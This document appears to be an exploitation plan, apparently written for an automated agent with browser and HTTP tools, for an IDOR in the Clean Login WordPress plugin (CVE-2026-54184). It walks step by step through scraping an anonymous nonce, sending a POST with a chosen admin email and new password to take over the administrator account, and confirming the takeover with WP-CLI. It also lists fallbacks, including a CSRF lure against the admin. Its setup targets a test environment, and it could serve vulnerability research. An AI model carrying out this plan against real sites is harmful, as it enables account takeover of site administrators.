Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR)

1. Vulnerability Summary

The Clean Login plugin (versions <= 1.15) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin's profile update logic (triggered by the edit action) allows identifying the user to be updated via a user-controlled parameter (likely email or user_id) without verifying if the requester has the authority to modify that specific user. Because the plugin does not properly check if the current requester is the owner of the account or an administrator, an unauthenticated attacker can provide the identifier of any user (e.g., the administrator) and change their account details, including their password.

2. Attack Vector Analysis

• Endpoint: The vulnerability is processed during the init or wp_loaded hook via the CleanLogin_Controller. Since the forms in content/login-edit.php and content/login-form.php post to themselves or the login URL, the exploit can be sent to the site's front page or any page containing the plugin's shortcode.
• Action: edit (passed in the action parameter).
• Vulnerable Parameter: email (This acts as the "user-controlled key" to reference the user object).
• Authentication: Unauthenticated. The plugin uses WordPress nonces, but since the vulnerability is accessible to logged-out users, a nonce generated for UID 0 (the anonymous user) is sufficient.
• Preconditions: The attacker must know the email address of the target user (commonly the admin email).

3. Code Flow

1. Entry Point: The plugin initializes CleanLogin_Controller in clean-login.php.
2. Hook Registration: The controller likely listens for POST requests where $_POST['action'] === 'edit'.
3. Identifier Extraction: The code retrieves the user identifier from the request. Based on content/login-edit.php, the identifier is the email field:

   <input type="hidden" name="email" value="<?php echo $current_user->user_email; ?>">
   

4. Vulnerable Logic (Inferred): The backend handler likely performs a lookup similar to:

   $user_email = $_POST['email'];
   $user = get_user_by('email', $user_email);
   // ... Missing is_user_logged_in() check or ownership check ...
   // ... Proceed to update $user with $_POST['pass1'] ...
   

5. Sink: The user's information is updated using wp_update_user() or wp_set_password().

4. Nonce Acquisition Strategy

The clean_login_wpnonce is required for the request to be processed. For unauthenticated users, this nonce is tied to UID 0.

1. Shortcode: The plugin uses the shortcode [clean-login] or [clean-login-edit].
2. Page Creation: Create a public page containing the [clean-login] shortcode to ensure the nonce is generated and rendered.
   • wp post create --post_type=page --post_status=publish --post_title="Login" --post_content='[clean-login]'
3. Extraction:
   • Use browser_navigate to visit the new page.
   • Use browser_eval to extract the nonce from the hidden input field named clean_login_wpnonce.
   • JavaScript: document.querySelector('input[name="clean_login_wpnonce"]').value

5. Exploitation Strategy

1. Target Identification: Identify the administrator's email (default in test environments is often admin@example.com).
2. Nonce Retrieval: Get a valid clean_login_wpnonce for an unauthenticated session.
3. Payload Construction:
   • Method: POST
   • URL: The URL of the page containing the [clean-login] shortcode.
   • Body (URL-encoded):
     • action=edit
     • email=admin@example.com (The IDOR key)
     • pass1=PwnedPassword123!
     • pass2=PwnedPassword123!
     • clean_login_wpnonce=[EXTRACTED_NONCE]
     • submit=Update profile
4. Execution: Send the request using the http_request tool.

6. Test Data Setup

1. Administrator User: Ensure a user with administrator privileges exists (e.g., username: admin, email: admin@example.com).
2. Shortcode Page:

   wp post create --post_type=page --post_status=publish --post_content='[clean-login]' --post_title='Auth Page'
   

3. Plugin Config: Ensure the plugin is active.

7. Expected Results

• HTTP Response: The server should return a 200 OK or a 302 redirect. If the plugin provides feedback, look for strings like "Profile updated" (localized).
• Outcome: The password for the user associated with admin@example.com will be changed to PwnedPassword123!.

8. Verification Steps

1. Check Password via WP-CLI:
   Try to authenticate as the admin using the new password:

   wp user check-password admin PwnedPassword123!
   

   If it returns "Success", the exploit was successful.
2. Check User Meta:
   Verify if other fields (like first_name or last_name) were also modified if they were included in the payload.

9. Alternative Approaches

• Luring the Admin: If unauthenticated password reset fails due to a session check we missed, the same IDOR can be used for a CSRF attack. Since the clean_login_wpnonce is available to the admin on their own profile page, an attacker could trick the admin into visiting a page that submits the edit form with the attacker's email/password, though the CVSS and description suggest a direct unauthenticated bypass.
• Different Identifier: If email is not the key, try user_id or id as a POST parameter. (e.g., email=admin@example.com&user_id=1).